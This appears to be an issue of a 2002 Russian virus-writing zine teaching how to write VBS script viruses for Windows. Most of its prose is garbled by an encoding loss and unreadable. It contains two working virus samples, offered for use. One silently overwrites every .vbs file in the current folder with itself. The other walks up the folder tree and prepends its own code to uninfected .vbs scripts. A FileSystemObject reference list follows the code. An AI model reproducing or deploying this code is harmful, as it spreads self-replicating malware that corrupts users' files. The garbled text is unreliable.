===============================================================================
--< Habitat >--< ୠ  ᮧ⥫  ᮢ >--< issue #1 >----
===============================================================================


  --< ਯ⮢   । Win32.   ࠧ㥬 >--

  by Alchemist

   ६  । - (,  ⥫ ᪠ MS-DOS, ᪫
  ᬥ ) 뫨 ࠭ BAT .  뫨  
  MS-DOS.    뫨 묨 ࠩࠬ.   , 
      . ⠪ ਯ⮢ 모 32  Java  VBS.
   ࠢ ਯ⮢    VBS,  Java -  
  ஭.  ⮩     VBS ,   Java  ⮬ 
  襬.
  ⠪,  VBS  Visual Basic Script 쭮  㬥  ।
  Win32.   /  ॥, 뢠//  䠩
    㣮.  襬 ࢮ ,     
  VBS,    ⢥  - ⢫ ᪠
  ணࠬ,      - command.com.  ⨬
  command.com       *.VBS 䠩  ⥪饬 ⠫ 
  ᮡ⢥ .  㤥 ⥩訩 ࠩ. ⠪ ਯ.
=======< cut here >=======
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set WshSysEnv = WshShell.Environment("Process")
CP = WshSysEnv("comspec")
WshShell.Run (CP & " /c for %%v in (*.vbs) do copy /y " & Wscript.ScriptFullName & " %%v>nul"), vbHide
=======< cut here >=======
  ஡ ᯥਬ஢  ⨬ ᮬ. ᫨   ਭ樯
  ࠧ  ᮢ,  ᮧ - த - , ਯ
    ᮡ⢥ ࠧ ᯮ ஬  䠩.
     ⢥  񧭮, ஡㥬  -
  ࠧ᪮.  ᫥饬   㤥 ᯮ짮  
  ࠡ  ⥪. 䠩, ⨥,   ⥭. ⢫ ࠡ 
  䠩  㤥   ⮢ ActiveX.   㢨  
  .
=======< cut here >=======
'!
Set FSO = CreateObject("Scripting.FileSystemObject")
VS   = 1120
FN =  WScript.ScriptFullName
InfPath = Left(FN, InStrRev(FN, "\"))
InfFolder(InfPath)

Sub InfFolder(iPath)
 if FSO.FolderExists(iPath) then
 Do
 Set FolderObj = FSO.GetFolder(iPath)
 iPath = FSO.GetParentFolderName(iPath)
 Set FO = FolderObj.Files
 For each target in FO
 ExtName = lcase(FSO.GetExtensionName(target.Name))

 if ExtName = "vbs" then
 Set file1 = FSO.OpenTextFile(target.path, 1, False)
 if file1.readline <> "'!" then
 file1.close()
 InfFile(target.path)
 else
 file1.close()
 end if
 end if

 next
 Loop Until FolderObj.IsRootFolder = True
 end if
 End Sub

Sub InfFile(iPath)
Set VictimFile    = FSO.OpenTextFile(iPath,1,False)
VictimContent     = VictimFile.ReadAll()
VictimFile.Close()

Set HostFile      = FSO.OpenTextFile(WScript.ScriptFullName,1,False)
HostContent       = HostFile.ReadAll()
HostFile.Close()

Vir = Mid(HostContent,1,VS)

Set VictimFile    = FSO.OpenTextFile(iPath,2,False)
VictimFile.Write Vir
VictimFile.Write VictimContent
VictimFile.Close()

End Sub
=======< cut here >=======
  ⠪,  ᮧ 쥪 ⨢ Scripting.FileSystemObject  ᢮ 
  ६ FSO.  㦭  ࠡ  䠩.   ,  砥
  ⥪騩 ⠫, 뢠 楤 ࠦ  䠩  ⥪. ⠫,
   ࠦ  뢠 䠩  ᮬ, 뢠  ᮤন 䠩,
  뤥塞   ⠭⭮ basic'᪮ 㭪樥 MID ( MID$), 
  ⮣  ᯮ㥬 ࠧ  ।  砫. ⥬ 뢠
  䠩-, 뢠 , 뢠 ⥫ , 뢠 ᮤন
  䠩, 뢠 䠩.   .
  
   ⥯  ⥫  ਢ  ᯨ᮪ 㭪権 쥪 
  Scripting.FileSystemObject,  ⮣  ᠭ 㭪権  ࠡ 
  䠩 㤭  -,      ᯨ᮪ 㤥 
  稭騬 ࠬ.  
=======< begin list >=======
' ਬ砭 FSO - ६ 쥪  ਭ樯  뢠 -㣮 

FSO.BuildPath(path,name) - ᣥ஢       䠩
FSO.CopyFile(source,dest,[overwrite]) - ᪮஢ 䠩  source  dest
FSO.CopyFolder(source,dest,[overwrite]) - ᪮஢ ⠫, ᫮ -
FSO.CreateFolder(name) - ᮧ ⠫
FSO.CreateTextFile(name,[overwrite],[unicode]) - ᮧ ⥪. 䠩
FSO.DeleteFile(name,[force]) - 㤠 䠩
FSO.DeleteFolder(name,[force]) - 㤠 ⠫
FSO.DriveExists(drivespec) - ஢   
FSO.FileExists(filespec) - ஢ ⢮ 䠩
FSO.FolderExists(folderspec) - ஢ ⢮ ⠫
FSO.GetAbsolutePathName(path)- 頥 ᮫ 
FSO.GetDrive(drivespec) -  ଠ  ᪥
FSO.GetDriveName(path) -   ᪠
FSO.GetExtensionName(path) - 頥 ७ 
FSO.GetFile(path) - get a file
FSO.GetFileName(path) -   䠩  
FSO.GetFileVersion(name) -   䠩
FSO.GetFolder(foldpath) -  ⠫
FSO.GetParentFolderName(path) -  ⠫  ஢ 
FSO.GetSpecialFolder(sf) -    ⥬ ⠫
⠭ ⥬ ⠫:
   SystemFolder     (筮 C:\windows\)
   WindowsFolder    (? C:\windows\)
   TemproraryFolder (?! C:\windows\) ;; 㩭 -
FSO.GetTempName - ᣥ஢ ⥬.  䠩
FSO.MoveFile(source,dest) - ६ 䠩  source  dest
FSO.MoveFolder(source,dest) - ६ ⠫
FSO.OpenTextFile(FileName,[iomode],[create],[format]) -  ⥪ 䠩
=======< end   list >=======
   ᫥⢨ 㡮 ⥣樨 VBS (VBA) -  ਯ⮢ 몮 
  ⥬  ਫ ⠫ ᥫ  (ᯠᨡ ),  ࠬ,
  ⠪  , ࠬ.  ਯ⮢   㭨⮦ 
   直 ⨢ ਬ祪,    ᠬ 让 ⮪.
  
        ࠧ.  ᫥饬 ᪥ ୠ,  , 
   㣨    ⥬,   ᪠  䨧  VBS. 

  (c) 娬 2002.

  --< ... >--




